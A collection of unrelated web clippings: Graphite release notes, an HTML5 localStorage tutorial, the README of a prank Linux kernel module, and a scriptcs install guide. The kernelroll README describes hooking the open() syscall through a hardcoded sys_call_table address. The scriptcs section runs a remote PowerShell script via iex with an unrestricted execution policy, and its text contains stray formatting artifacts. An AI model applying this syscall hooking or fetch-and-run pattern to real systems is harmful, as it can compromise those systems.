Graphite 0.9.10 has been released and is now available. The packages for
Whisper, Carbon, and Graphite-web are available via several sources:

This release contains a fabulous amount of incremental improvement over 0.9.9.
Some highlights include:

  * Fixes to several annoying Composer and Dashboard UI bugs
  * Import of Saved Graphs into Dashboards
  * Fixes to cache-full behavior for carbon-cache and carbon senders \(relay and aggregator\)
  * Many new useful render functions and graph options
  * Improvements to the rendering engine and fixes to many rendering bugs
  * Support for rendering graphs as annotated SVG
  * Better organized and more flexible Graphite-web config layout \(local\_settings.py\)

Upgrading from 0.9.9 should be as simple as updating the packages. It is
recommended but not necessary that local\_settings.py be recreated based on
the newly shipped local\_settings.py.example as it includes many newly exposed
settings and an improved organization and comments. Carbon's config files also
have a few new settings as well to check out.

The Graphite project is also in the midst of some project changes. For those
who have not yet noticed, the Graphite codebase has been moved to Github
\(http://github.com/graphite-project\) and split into individual components
\(Graphite-web, Carbon, Whisper, and soon Ceres\). The Launchpad project
remains active in supporting the project with its Answers
\(http://answers.launchpad.net/graphite/\) and Bugs
\(http://bugs.launchpad.net/graphite/\) functionality.

Development going forward will focus on preparing what will become Graphite
0.10.0 which will include support for the Ceres database format as well as a
major refactor of the Carbon daemon \(nicknamed "Megacarbon"\). The master
branches of the project should be considered to be in an 'alpha' state for the
time being and subject to backwards-incompatible changes. Fixes to the current
version will be maintained in the 0.9.x project branches but no 0.9.11 version
is planned for the time being.

A big thanks goes out to all those who have helped the project in
contributions of time and energy in the form of code contributions, testing,
discussion, and helping each other out with support questions. Additional
thanks are due to Aman Gupta \(tmm1\) for all of his great work on the
rendering engine and other fixes, Sidnei Da Silva for his work migrating the
project to Github and his fixes, and everyone who's taken the time to answer
questions on the Answers site and on IRC.

As always, if you need any assistance please ask a question or join us on IRC
in \#graphite on Freenode.

The following is a summary of changes since the last release:  
**New features**

  * Whisper 
    * Allocate Whisper files in chunks by default \(jordansissel\)
    * Allow Whisper files to be allocated sparsely \(jordansissel\)
    * Add whisper-merge command to copy data from one file to another \(sidnei\)
    * Add whisper-dump utility \(amosshapira\)

  * Graphite Dashboard 
    * New button to retrieve Graph URL \(octplane\)
    * Add button to send email of rendered graph as attachment \(bkjones\)
    * Allow relative ‘until’ time to be set in dashboard \(daniellawrence\)
    * Add ability to import Graphs into dashboards from URL or Saved Graphs

  * Rendering Engine: 
    * New minorY option to configure minor gridlines \(whd\)
    * New alpha\(\) function to set individual color alpha values \(tmm1\)
    * Allow areaAlpha to set alpha values for all styles of stacked graphs \(tmm1\)
    * New minimumAbove\(\) function: draw only series whose min is above n \(tmm1\)
    * New areaBetween\(\) function: draw the area between two graph lines \(tmm1\)
    * New holtWintersConfidenceArea\(\) function: display area between Holt-Winters confidence bands \(tmm1\)
    * New SVG output format with embedded graph metadata \(tmm1\)
    * New metric whitelist/blacklist functionality using pattern files
    * New filterBelowPercentile\(\) function: remove data below n percentile from a series \(tmm1\)
    * New removeAbovePercentile\(\) and removeAboveValue\(\) functions to remove outliers \(tmm1\)
    * New removeBelowPercentile\(\) and removeBelowValue\(\) functions to match above counterparts
    * New aliasSub\(\) function: perform a regex search/replace on metric names \(tmm1\)
    * New rangeOfSeries\(\) function: reduces multiple series into the value range of each point \(saysjonathan\)
    * New movingMedian\(\) function: moving median, similar to movingAverage \(recursify\)
    * New multiplySeries\(\) function: combine series by multiplying them
    * New hideYAxis option \(mdeeks\)
    * New percentileOfSeries\(\) function: Combines series into the value at n percentile for each point
    * New tranformNull\(\) function: transforms None values to specified \(cbrinley\)
    * New scaleToSeconds\(\) function: scales values based on series step \(redbaron\)
    * New aliasByMetric\(\) function: trims all but the last element of metric name in legend \(obfuscurity\)
    * New uniqueLegend option to filter duplicate metric names in legend \(mdeeks\)
    * New vtitleRight option to label 2nd Y-axis

  * Carbon 
    * Allow flock\(\) mode to be configured for Whisper
    * Allow flushing of rrdcached before rrd data fetches \(shufgy\)
    * Add ability to configure carbon metric prefix \(jblaine\)

**Bug fixes**

  * Whisper 
    * Record only the last value when duplicate timestamps are sent \(knyar\)
    * Fix rrd2whisper.py script to work with newer python-rrdtool api

  * Carbon 
    * Fix full drain of queue after cache-full event when flow-control is enabled in both client and carbon-cache
    * Fix unnecessary drop of a single metric point when cache is full
    * Fix instrumentation of carbon-relay \(darrellb\)

  * Webapp 
    * Fix reading of Gzip’d whisper files and remote reading of RRDs
    * Fix registration of Event model in admin site
    * Fix events\(\) to work with timezone aware dates
    * Fix Event model to use tagging properly and fix compatibility with MySQL \(hellvinz\)
    * Fix compatibility of built-in json module in events and graphlot
    * Fix loading of saved graphs where a target has a ‘%’ in the name

  * Rendering Engine 
    * Fix removal of whitespace above stacked graphs with yMax setting \(tmm1\)
    * Use powers of 2 when calculating yStep and yUnitSystem=binary \(tmm1\)
    * Force 100% usage of vertical space when yMax=max
    * Compact memcached keys to keep size under 250 after Django processing \(Kevin Clark\)
    * Fix alignFromTrue functionality in summarize\(\) \(tmm1\)
    * Fix cases of mismatched units in holt-winters bootstraps \(lapsu,tmm1\)
    * Force integer in moving average window parameter \(lapsu\)
    * Fix incorrect cache fetch when storage dir is symlinked \(mk-fraggod\)
    * Fix infinite loop in Y-axis render when series range is very-very small
    * Fix “Undo Function” button when braces expressions are present in the target
    * Fix legend column calculation \(darrellb\)
    * Fix broken aliasByNode\(\) \(darrellb\)
    * Fix rendering failures when infinite values are present in series
    * Fix legend text overlap with dual Y-axis mode \(nleskiw\)
    * Fix missing hunk of graph on right side with Dual Y-axis
    * Fix cactiStyle\(\) handling of None values
    * Fix rendering breakage during DST time switch
    * Allow multiple named stacks of metrics \(aleh\)
    * Fix incorrect/misaligned graphs when series with unaligned steps are mixed in a graph
    * Properly shift over series that have a later start time than the graph start

  * Composer 
    * Fix JS error on IE due to tailing list commas \(reed-r-lance\)
    * Fix usage of + instead of %20 for spaces in URL encoding in composer view
    * Fix display of a broken image rather than “No Data” when last target is removed
    * Fix the loss of multiple targets when loading a saved graph with new params \(vilkaspilkas\)
    * Fix unremovable duplicate metrics

  * Dashboard 
    * Fix automatic edit field selection on click \(octplane\)
    * Fix usage of browser cache-busting uniq parameter to be filtered from memcache key \(sidnei\)
    * Fix inability to remove Graphs with duplicate target lists

**Other improvements**

  * Carbon 
    * Match time units used in storage-schemas.conf with those in the webapp \(ohlol\)
    * Only log Carbon queue fullness once \(sidnei\)
    * Only log Carbon queue space free if it was once full \(sidnei\)
    * Log a message with the affected filename when a Whisper update fails \(bmhatfield\)
    * Move carbon instance logs to their own own directory to prevent clobbering
    * Prevent carbon-aggregator from clobbering aggregated values when aggregating to same-name
    * Add SSL option to amqp publisher \(sidnei\)
    * Remove duplicate dot metric path filtering for performance \(drawks\)
    * Refactor of schema validation to give more informative errors
    * Add reloading of rewrite-rules and aggregation-schemas for consistency

  * Webapp 
    * Refactor settings.py to allow more complete configuration in local\_settings.py
    * Make Graphite compatible with Django 1.4
    * Add jsonp support for /browser endpoint
    * Make it harder to break metric browsing with a bad DATA\_DIRS entry

  * Rendering Engine: 
    * Make asPercent\(\) much more flexible and useful
    * stddev\(\) function made more robust
    * Allow metrics to begin with a braces-wildcard
    * Prevent drawAsInfinite\(\) lines from affecting Y axis height \(bmhatfield\)
    * Pass through time with secondly rather than minutely resolution to rrdfetch \(tmm1\)
    * Tree branches should display above all leaves \(mdeeks\)
    * Add alignToInterval to hitcount\(\) function similar to summarize\(\) \(jwoschitz\)
    * Fix PieGraph missing function
    * Allow timeShift\(\) to shift forward as well as backward

  * Composer 
    * Don’t reorder targets when applying functions
    * Refactor of Graph Options menu

  * Dashboard 
    * Explicitly size img tags to keep scroll position intact during reloads
    * Default the navBar as collapsed when loading an existing dashboard view
    * Show wildcards in top nav browsing view
    * Allow dashboards to have any character in title \(octplane\)
    * Make “Remove All Graphs” and “Change Size” dialogs modal \(dannyla\)
    * Make the new “north” navbar the default

# New Release - 0.9.9 - 10/6/11

Graphite 0.9.9 is now out and available for download. It available through
PyPI \(http://pypi.python.org/pypi\) and the Launchpad project page
\(https://launchpad.net/graphite\).

This is a very substantial release. To give you an idea, the 0.9.8 release was
cut from trunk around revision 380 while 0.9.9 was cut from revision 589, so
that's almost as many commits as Graphite has ever had just since 0.9.8. The
full changelog is too big for me to assemble nicely unfortunately, but I will
try to cover all the important bits and if you're really curious you can see
all the changes at http://bazaar.launchpad.net/~graphite-
dev/graphite/main/changes

There are some really important things you need to know if you're upgrading
from an earlier release \(even trunk\). Read all the change summaries below
please\!

**API Changes**

  * There have been API changes in whisper, carbon, and the webapp. If you are upgrading to 0.9.9 YOU MUST UPGRADE ALL 3 PACKAGES, if you mix 0.9.8 whisper with 0.9.9 carbon for example, it won't work. Upgrade all 3, and don't forget to use the —force.
  * The webapp has a new dependency on django.tagging \(you should be able to simply 'pip install django-tagging'\)

**New Default Behavior**

  * We've addressed a security vulnerability with receiving pickled datapoints, see Bug \#817247. This affects you in that the new default behavior is to use a more secure unpickler, which is slightly slower than the standard insecure unpickler. To revert to the less secure but faster approach previously used, you have to set USE\_INSECURE\_UNPICKLER=True in your carbon.conf.

**Revamped Dashboard UI**

  * You can now use all the composer functionality by clicking on a dashboard graph
  * You can drag and drop to move graphs around \(and hover-drop to combine them\!\)
  * There is an awesome new auto-completer interface available by going to the Dashboard menu, Configure UI, Completer. This may become the default in the future because its so awesome. \(pro tip: try using the dashboard completer with \\\* instead of \* for some really powerful 'group by' functionality\)

**Other Stuff**

  * Tons of readthedocs.org improvements, also the example config files now have some great comment documentation
  * Whisper now supports rollup aggregation methods other than averaging. The default is still to average but there a new aggregation-schemas.conf \(see Bug \#853955\)
  * To learn about the new metric metadata API that can be used to configure custom rollup aggregation methods read my answer to https://answers.launchpad.net/graphite/+question/173304 \(you can skip the question part if you just care about the new API\)

As for the current development focus, I can now finally work on the long-
awaited merge of the 1.1 branch into trunk. The Ceres database will be in the
next release, I'm going to try and merge it in \(including the new refactored
storage API\) in the next week or so. I'll announce on graphite-dev when its
available for testing. My aim is to get it fully documented for 1.0, which I'm
targetting for end of this year. There might be an 0.9.10 first, depending on
how many bugs are found in 0.9.9.

As always, thanks to everyone who has contributed, especially the following
rockstar crew that made some major contributions in the past few months:

  * Aman Gupta \(tmm1\)
  * Nick Leskiw \(nleskiw\)
  * Sidnei da Silva

# New Book - The Architecture Of Open Source Applications - 5/25/11

Hey everyone, a cool new book \(http://www.aosabook.org/\) is out that
discusses the architecture of many open source software projects. Each chapter
is written by a core contributor \(typically the original author\) of each
project and explains the design decisions that were made and why. There
happens to be a chapter on Graphite written by yours truly, chrismd. This is a
not-for-profit book and all proceeds go to Amnesty International. If you want
to buy the book, I'd recommend buying it straight from the publisher, Lulu.com
\(http://www.lulu.com/browse/search.php?fListingClass=0&fSearch=architecture+of+open+source+applications\)
as that maximizes the amount that gets donated. Plus Lulu is just plain
awesome.

In other news, I recently left Sears and started working at Google in Mountain
View. I'm enjoying it very much it but there has definitely been an impact on
my recent contributions \(or lack thereof\) to Graphite. I just wanted to say
that I am still very much planning on spending time continuing to work on
Graphite. I imagine I won't get much done in the next month or so, but sooner
than later I aim to finish up the new documentation for readthedocs.org. That
is the next goal, no other features/projects until the docs are in tip-top
shape. In the mean time, I really appreciate all of the community
contributions on the Launchpad forums and IRC channel, I am still way behind
on answering questions so any and all help is appreciated.

# New Release - 0.9.8 - 4/3/11

Graphite 0.9.8 is now out and available for download. It available through
PyPI \(http://pypi.python.org/pypi\) and the Launchpad project page
\(https://launchpad.net/graphite\).

This release is a major step forward for Graphite, with a long list of
substantive enhancements only 3 months after the last release. One of the
highlights is the move of our documentation to readthedocs.org, the docs are
now built using Sphinx and they live in trunk under the 'docs' folder. Just
commit any changes and readthedocs.org will automatically update by pulling
changes from launchpad nightly.

A special thanks goes out to AppNexus \(http://appnexus.com/\), who sponsored
the development of two awesome new features. First is the new carbon-
aggregator daemon. This new daemon lets you configure the calculation of
aggregate metrics at storage time instead of using a heavy-weight sumSeries or
averageSeries at rendering time. This daemon can also rewrite metric names.
You manage it like the other two carbon daemons, via carbon.conf.
Documentation on configuring carbon-aggregator will be coming soon.

AppNexus also sponsored the development of the new Dashboard UI. This new
interface allows you to put together dashboards containing many graphs quickly
and easily. You can save a dashboard and view it later. Note that this is a
basic implementation for now,

Beyond that, there are many other new features so please read through the
changelog carefully.

**Changes**

  * New carbon-aggregator daemon can compute your aggregate metrics
  * New Dashboard UI
  * Upgraded to ExtJS 3.3
  * All Documentation is moving to Sphinx in our bzr branch, HTML builds of it are hosted by readthedocs.org \(http://graphite.readthedocs.org/\)
  * The recommended Apache setup is now officially mod\_wsgi and not mod\_python.
  * New metric pattern syntax, eg. `example.{foo,bar}.metric`, matches both `example.foo.metric` and `example.bar.metric`
  * Y-axis now draws much more useful labels for values much less 1
  * The YAxis=left|right parameter has been renamed to yAxisSide=left|right
  * Rewrote webapp/render/grammar.py to be much more readable
  * Added new json api call /metrics/expand/?query=foo.\* -> \\\["foo.bar", "foo.baz", …\\\]
  * Added debugging manhole in carbon-cache.py \(ssh-accessible python intepreter interface into carbon at runtime\)
  * Added new hitcount function \(thanks to Shane Hathaway\)
  * The "User Graphs" tree now works properly for usernames that contain dots
  * Fixed data roll-up bug in whisper
  * Added AUTOFLUSH option in whisper/carbon for synchronous I/O
  * and as always, many more smaller bug fixes

# New Release - 0.9.7 - 1/8/11

**UPDATE - if you downloaded the original 0.9.7 package of the graphite webapp
and had problems, please try the updated 0.9.7c package\!**

A little late but better than never, Graphite 0.9.7 is now out and available
for download. It available through PyPI \(http://pypi.python.org/pypi\) and
the Launchpad project page \(https://launchpad.net/graphite\). Here is a
quick-rundown of the new features and some nice bug fixes:

**Features**

  * Composer UI menus have been updated to reflect all currently available functions and options
  * New threshold\(\) function allows you to draw a horizontal line with a custom color and legend name \(though color and legend name are not available through composer UI yet\)
  * New summarize\(\) function allows you to draw data at a lower precision than it is stored at \(ie. draw hourly datapoints for minutely data\)
  * New group\(\) function allows you to specify a collection of metrics for passing to other functions that require a single arg, without using wildcards.
  * Retention configurations support a new more convenient syntax \(see Bug \#697896\)
  * Carbon's logging of every whisper update can be disabled now \(set LOG\_UPDATES = False in carbon.conf\)
  * Carbon-relay can now specify ports for remote carbon-caches
  * Timezones can now be specified at render-time using Olson timezone names \(see pytz\)
  * Saved MyGraphs now support a hierarchical structure when dots are used in the saved graph names
  * By popular request, carbon now ignores improperly formatted datapoint lines rather than disconnecting the client \(Bug \#589476\)
  * X-axis labeling has been revamped to avoid overlapping and confusing labels
  * RPM and source RPM packages are available for download. Note that they currently **do not check dependencies** and **do not perform post-install tasks**. This means they are suitable for upgrades but the usual install doc will need to be followed for new installations. Please contribute feedback regarding these packages so we can make them work out of the box on Fedora and CentOS.

**Bugs Fixed \(woefully incomplete\)**

  * Bug \#528228 \- fixed 'tz' parameter for specifying custom timezone at render-time
  * Bug \#676395 \- fixed timeShift\(\) function
  * Bug \#690586 \- fixed log\(\) function to work with negative data
  * Bug \#684563 \- fixed carbon-cache.py —config parameter
  * Bug \#660861 \- fixed nonNegativeDerivative\(\) math for wrapping counters
  * Bug \#591948 \- fixed X-axis labeling that was inaccurate in some situations
  * Bug \#595652 \- fixed bug preventing clustering from working with default settings.py
  * Bug \#542090 \- fixed Y-axis labeling issue for large values with small variance
  * Dozens more…

The best part is, the work in this release has continued to be largely a
community effort. Almost all bugs that got fixed were reported from users and
the vast majority have been fixed because of contributed patches and highly
detailed bug reports. In other words, this ain't a one-man show\! Thanks to
everyone who has contributed code, bug reports, documentation, questions, and
answers.

In the interest of not being incredibly wrong again, I will refrain from
putting a date on when the next Graphite release will be out. But it will not
be another year, that's for sure… Several projects I have to do for work in
the coming months are going to involve major enhancements to Graphite, unlike
this past year during which I've really only worked on it in my spare time.
Thanks again to everyone and happy new year\!

# Still kickin' - 12/7/10

So the great documentation release of March never materialized, nor did the
monthly release cycle last more than one month. All I can say is that my
intentions are good, but my follow-through isn't quite what it used to be \(at
least when it comes to spare-time projects\). Fortunately, Graphite has
remained a fairly active project in the absence of me posting any new
announcements. Many new features have been developed and bugs have been fixed,
but alas no new release since February. Today I've decided to put an end to
the hiatus and start working on putting 0.9.7 together. I am committing to
getting it out the door before the new year. Nothing major is changing, just
the culmination of a year of small-ish new features and bug fixes.

There are some cool things coming down the pipe though. A while back I posted
on the graphite-dev mailing list about a new database format that will allow
datapoints for a single metric to be sharded across multiple servers
\(currently all the datapoints for a given metric must be colocated\). That
project got postponed for a few months but is back on my radar now. It will
not be in 0.9.7 though.

Some more cool things are on the way too. Per a project at work I am tasked
with implementing an interactive graph UI in the coming months. Lucio Torre
has already implemented a branch using flot,
https://code.launchpad.net/~lucio.torre/graphite/add-flot/+merge/39768 so that
is something to check out.

Last but not least, for the past few months I have been working on
contributing a chapter for a book on open source software architecture. The
chapter covers the architecture of Graphite and explains some of the design
choices and scalability factors. Hopefully it will be out Q1-Q2 2011, I'll be
sure to announce when it is available.

# February Release - 0.9.6 - 2/26/10

This has probably been the most active month of Graphite development since the
project was open sourced. Lots of community members have contributed code and
ideas to help move Graphite forward. I'm really excited about this, the
project is gaining momentum and I hope we can keep that up by continuing with
the new monthly release cycle. To give credit where it is due, here is a list
of this month's most active users and what they've been working on \(in no
particular order\):

  * Lucio Torre - AMQP support
  * jdugan - beautification of the Y-axis labels via the yUnitSystem option
  * Nick Leskiw - the YAxis=right rendering option
  * Kraig Amador - tons of rendering options/functions such as yLimit, timeShift\(\), log\(\), sumSeriesWithWildcard\(\), new filtering functions, and much more\! \(Kraig you're the man\!\)
  * Arthur Gautier - debian packaging
  * Elliot Murphy - packaging, inclusion in Ubuntu
  * fp - RHEL / CentOS RPM packaging
  * and many more…

Thanks to everyone who has gotten involved with Graphite, your support helps
motivate others \(especially me\).

Many of these new features are really great but unfortunately undocumented,
but the good news is that my focus for March is going to be 100% on
\*documentation\*. There may not be an actual code release in March but I hope
to get a substantial amount of documentation written right here on this wiki.
Stay tuned.

PS. I'm going to try and update the Roadmap page once a month as well.

# New Year, New Release, New Strategy - 1/4/10

It's hard to believe it's been an entire year since the last release of
Graphite. This just goes to show how good I am at procrastination. After
taking a look at the old 0.9.4 release I can safely say that the new 0.9.5
release is very significant. Here are the biggest changes:

  1. Graphite now supports federated storage \(for better scalability\)
  2. Carbon was completely rewritten using Twisted \(much cleaner, more configurable, and more fault tolerant\)
  3. The installation process now uses distutils \(finally\!\)
  4. Graphite, Carbon, and Whisper are now three separate packages \(for more flexible deployment\)
  5. Graphite's browser UI fully migrated to pure ExtJS 3.0 \(cleaner code, less bugs\)
  6. Many many bug fixes as always

I'd like to thank everyone in the community who has been using graphite and
contributing to the project. I don't usually do new year's resolutions, but
I've got a good idea for one this year. I really want to get away from
infrequent huge releases like this one and get back to very frequent small
releases in the true spirit of open source. So my resolution is to release
\*something\* once a month. It will probably usually just be bug fixes, or
perhaps some much needed documentation. So look forward to something new in
February\!

Also to help keep everyone in the loop on upcoming plans I've started a new
Roadmap page. There are a lot of cool things coming up so stay tuned.

# Major enhancements in trunk, new 0.9.5 release coming soon - 10/25/09

I've been busy working on Graphite for the past several weeks and now a bunch
of code is getting merged back into trunk. More details on the latest changes
are available here. The short story is that Graphite is getting more scalable
in the backend, more usable in the frontend, and more robust overall. Lots of
problems fixed, lots of messes cleaned up, lots of groundwork laid for the
future, this should be a good release. We'll be testing for the next couple
weeks, after that we'll release 0.9.5, and then some new documentation \(with
brief video tutorials\!\) before Thanksgiving.

# Major enhancements in the works - 9/4/09

The last release of Graphite is getting a bit stale and a lot of bug fixes
have made their way into trunk over the last several months. Thanks to
everyone who keeps asking questions, submitting bug reports, and sending in
patches. The active community is what has kept this project from stagnating
over the past several months as I changed jobs back in March and haven't been
able to refocus my efforts on Graphite until recently. There are a lot of
exciting things in the works\! Currently I am putting the finishing touches on
a complete rewrite of carbon that will support federated storage. The new
carbon is built on Twisted and many of the administrative annoyances of the
previous multi-process carbon have been addressed. On the UI front, I have
removed the prototype.js dependency from the Composer UI and upgraded to ExtJS
3.0 \(which now comes bundled with Graphite instead of requiring a separate
download\). The look and feel have not changed significantly but many bugs
have been fixed as a result of this. The last major change I have planned for
the next release is to migrate the installation process to use distutils. I
hope to have the release ready in a month or so, in the mean time keep the bug
reports coming\! Thanks.

# Finally, a new release… 0.9.4 - 1/30/09

It's been a good 6 months since the last release. Not much has changed aside
from a few minor enhancements and some good bug fixes, unfortunately I've not
had nearly as much time as I'd like to dedicate to working on Graphite.
Regardless, it is getting more mature slowly but surely. In the next few
months I may be in a better position to get more real work done on it, but we
shall see. For now I'd just like to thank everyone who has given me great
questions and bug reports, your feedback is what keeps this project moving.
Thanks.

# New Release 0.9.3 - 7/16/08

This release is an incremental improvement over 0.9.2, including lots of bug
fixes, major enhancements to the installer, and several new handy scripts.
Thanks to everyone who submitted bug reports and questions. The next few
Graphite releases will continue to focus on quality rather than new features.
In particular, 0.9.4 will include a re-write of the carbon backend, which will
be much simpler and easier to administer and troubleshoot. I am also working
on porting lots of internal documentation to this wiki. My goal is to have a
1.0 release by the end of the year, which must be well-documented, easy to
deploy, easy to troubleshoot, and of course as bug-free as possible. If there
is time a new feature or two might make it in, but this is not the primary
focus.

# HTML5 localStorage – Part One « PaperKilledRock.com

**Created:**| _5/21/2011 9:54:19 AM_  
---|---  
**Updated:**| _5/21/2011 9:54:29 AM_  
**Author:**| __  
**Tags:**| _web programming_  
  

# HTML5 localStorage – Part One

  * Part One: Getting to Know localStorage
  * Part Two: Making localStorage Work For You
  * Part Three: Writing a Functioning Web App
  * Part Four: Putting The Finishing Touches On

We all know how awesome the future of the web will be with HTML5. This new
spec has some amazing potential and is already getting a lot of use. From the
new tags like section, article, header and footer to the video debate taking
center stage with Apple vs Adobe. There are so many great things about HTML5
but today I want to go over just one; localStorage. Many of you may not have
heard about localStorage or may not fully understand how to use it.

First lets start off with what localStorage is. Basically it is a client-side
database. That is a database that resides in the users browser and not on your
server. The difference between this database and others you may be familiar
with resides in that this is for key-value storage. This means you won’t be
writing some crazy sql intense application while using localStorage. However,
this type of storage does offer a lot of possibilities for web apps. Remember
one thing though, since this is client-side, the data stored will be on a per
browser basis. If a user switches between Safari and Firefox, it won’t use the
same database. Same if they use your app on one machine and go to another
somewhere else, that data will only be available on the machine it was
created/saved on. One last thing before jumping into some code is browser
support. We all know that browser support is important depending on your
target audience with your app. In this case localStorage is supported by most
modern browsers including Safari 4+, Mobile Safari \(iPhone/iPad\), Firefox
3.5+, Internet Explorer 8+ and Chrome 4+.

Now lets get into some code. Where localStorage differs from cookies or
sessionStorage is that the data stored in localStorage is still there even
after the browser is closed and is shared across multiple windows. You don’t
have to worry about a user deleting the cookies and all their data. A quick
note; because of my love for jQuery, I will be using jQuery when using
localStorage. However, jQuery is not required to do any of this, I just like
how clean it makes everything look. First lets see a simple example of using
localStorage.  

Snippet Copied Copy to Clipboard

[code]

    1
    2
    3
    
    
[/code]

|

[code]

    localStorage.setItem("name", "Hello World!"); //saves to the database, key/value
    document.write(localStorage.getItem("name")); //Hello World!
    localStorage.removeItem("name"); //deletes the matching item from the database
    
[/code]  
---|---  
Can’t get much easier then that. Line 1 saves a new entry in the local
database with the key of ‘name’ and the value of ‘Hello World\!’. That pair is
now stored in your browsers database. Line 2 gets the item from the database
with the key of ‘name’. In this case would then return ‘Hello World\!’. In
line 3 we remove the item from the database. Due to browser specific quotas
you would want to check for exceptions so you would change line 1 above to the
following.

Snippet Copied Copy to Clipboard

[code]

    1
    2
    3
    4
    5
    6
    7
    
    
[/code]

|

[code]

    try {
             localStorage.setItem("name", "Hello World!"); //saves to the database, "key", "value"
    } catch (e) {
             if (e == QUOTA_EXCEEDED_ERR) {
                     alert('Quota exceeded!'); //data wasn't successfully saved due to quota exceed so throw an error
            }
    }
    
[/code]  
---|---  
Now would be the perfect opportunity to show you how to view this localStorage
and see the items in it. Currently Firefox doesn’t have a great way to view
this data. You can however use the DOM area in Firebug and find ‘get
localStorage’. Expanding this will show you the items in the database. If your
using Safari or Chrome then you have a much better option. You are able to
view these databases directly in the developer tools. Opening the Developer
Tools you will notice the last item is Databases, clicking this will show you
all databases, localStorage and sessionStorage info. You might also want to
check to see if the users browser even supports localStorage and if it doesn’t
we can warn them. Now the code above would look like this:

Snippet Copied Copy to Clipboard

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    
    
[/code]

|

[code]

    if (typeof(localStorage) == 'undefined' ) {
            alert('Your browser does not support HTML5 localStorage. Try upgrading.');
    } else {
            try {
                    localStorage.setItem("name", "Hello World!"); //saves to the database, "key", "value"
            } catch (e) {
                     if (e == QUOTA_EXCEEDED_ERR) {
                             alert('Quota exceeded!'); //data wasn't successfully saved due to quota exceed so throw an error
                    }
            }
     
            document.write(localStorage.getItem("name")); //Hello World!
            localStorage.removeItem("name"); //deletes the matching item from the database
    }
    
[/code]  
---|---  
As you can see saving, retrieving and removing items from localStorage is
pretty easy. Of course with just the above you can’t do a whole lot. Key-value
storage might at first seem limited or even useless to some but with a little
code you can accomplish a lot. In part two of this localStorage series we are
going to create a simple time tracking web app using localStorage. This app
will show you how to accomplish more with just key-value pairing and the
possibilities in the future. You can see a working demo of the above code here
to see it working in a browser.

# fpletz/kernelroll - GitHub

**Created:**| _12/1/2011 4:29:01 PM_  
---|---  
**Updated:**| _12/1/2011 4:29:01 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

# Putting rickrolling in kernel space

Kernelroll is a linux kernel module for advanced rickrolling.

It works by patching the open\(\) system call to open a specified music file
instead of other music files. Currently, it only checks if the file extension
"mp3" is present and calls the original open\(\) with the supplied path
instead.

WARNING: There is probably a performance penalty and your kernel might crash
at a very inappropriate time and cause data loss\! You are responsible for the
code you load into your kernel\!

But most probably, it will be alright\! ;\)

# Installation

You need the address of sys\_call\_table in your kernel. Use

[code]

    $ grep sys_call_table /boot/System.map-3.0.0-1-amd64
    ffffffff81400300 R sys_call_table
    
[/code]

on the respective System.map of your kernel to find out the address

Now fire up kernelroll.c and add yours:

[code]

    void **sys_call_table = (void **)0xffffffff81400300;
    
[/code]

This will probably be simplified in the future, but as sys\_call\_table isn't
exported anymore in 2.6 kernels, we have to use some tricks.

Compile with:

[code]

    $ make
    
[/code]

Load with:

[code]

    $ insmod kernelroll.ko rollfile=/path/to/rickroll.mp3
    
[/code]

Fire up a music player of your choice, play a song and consider yourself
kernelrolled. ;\)

# scriptcs - Write C\# scripts in your favorite text editor

**Created:**| _1/31/2014 10:05:12 PM_  
---|---  
**Updated:**| _1/31/2014 10:05:12 PM_  
**Author:**| __  
**Tags:**| _scripting windows environment_  
  

# **W** rite C\# scripts in your favorite text editor****

## What is it**?**

scriptcs makes it easy to write and execute C\# with a simple text editor**.**

While Visual Studio, and other IDEs, are powerful tools, they can sometimes
hinder productivity more than they promote it**.** You don’t always need, or
want, the overhead of a creating a new solution or project**.** Sometimes you
want to just type away in your favorite text editor**.**

scriptcs frees you from Visual Studio, without sacrificing the advantages of a
strongly-typed language**.**

  * Write C\# in your favorite text editor**.**
  * Use NuGet to manage your dependencies**.**
  * The relaxed C\# scripting syntax means you can write and execute an application with only one line of code**.**
  * Script Packs allow you to bootstrap the environment for new scripts, further reduces the amount of code necessary to take advantage of your favorite C\# frameworks**.**

## Getting scriptcs****

Releases and nightly builds should be installed using Chocolatey **.** To
install Chocolatey, execute the following command in your command prompt:

[code]

    @powershell -NoProfile -ExecutionPolicy Unrestricted -Command "iex ((New-Object Net.WebClient).DownloadString('https://chocolatey.org/install**.** ps1'))" && SET PATH=%PATH%;%systemdrive%\chocolatey\bin
    
[/code]

### Installing scriptcs****

Once Chocolatey has been installed, you can install the latest stable version
of scriptcs from your command prompt:

[code]

    cinst scriptcs
    
[/code]

Chocolatey will install scriptcs to `%APPDATA%\scriptcs\` and update your PATH
accordingly**.**

**Note:** You may need to restart your command prompt after the installation
completes**.**

### Staying up-to-date****

With Chocolatey, keeping scriptcs updated is just as easy:

[code]

    cup scriptcs
    
[/code]

### Nightly builds****

Nightly builds are hosted on MyGet , and can also be installed through with
Chocolatey:

[code]

    cinst scriptcs -pre -source https://www.myget.org/F/scriptcsnightly/ 
    
[/code]

### Building from source****

Execute `build.cmd` to start the build script**.**

## Getting Started****

### Using the REPL****

The scriptcs REPL can be started by running scriptcs without any
parameters**.** The REPL allows you to execute C\# statements directly from
your command prompt**.**

[code]

    C:\> scriptcs
    scriptcs (ctrl-c or blank to exit)
    
    > var message = "Hello, world**!** ";
    > Console.WriteLine(message);
    Hello, world**!**
    > 
    
    C:\>
    
[/code]

### Writing a script****

  * In an empty directory, create a new file named `app.csx`:

[code]

    using Raven.Client;
    using Raven.Client.Embedded;
    using Raven.Client.Indexes;
    
    Console.WriteLine("Starting RavenDB server..**.** ");
    
    EmbeddableDocumentStore documentStore = null;
    try
    {
        documentStore = new EmbeddableDocumentStore { UseEmbeddedHttpServer = true };
        documentStore.Initialize();
    
        var url = string.Format("http://localhost:{0}", documentStore.Configuration.Port);
        Console.WriteLine("RavenDB started, listening on {0}**.** ", url);
    
        Console.ReadKey();
    }
    finally
    {
        if (documentStore **!** = null)
            documentStore.Dispose();
    }
    
[/code]

  * Install the RavenDB.Embedded  package from NuGet using the install command **.**

[code]

    scriptcs -install RavenDB.Embedded
    
[/code]

  * Execute your script**.** Note that listening on a port requires that the command prompt be launched using the **Run as Administrator** option**.**

[code]

    > scriptcs app.csx
    INFO : Starting to create execution components
    INFO : Starting execution
    Starting RavenDB server..**.**
    .. snip ..
    RavenDB started, listening on http://localhost:8080**.**
    
[/code]

  * Navigating to the URL that Raven is listening on will now bring up the RavenDB management studio**.**

### Bootstrap scripts with Script Packs****

Script Packs can be used to further reduce the amount of code you need to
write when working with common frameworks**.**

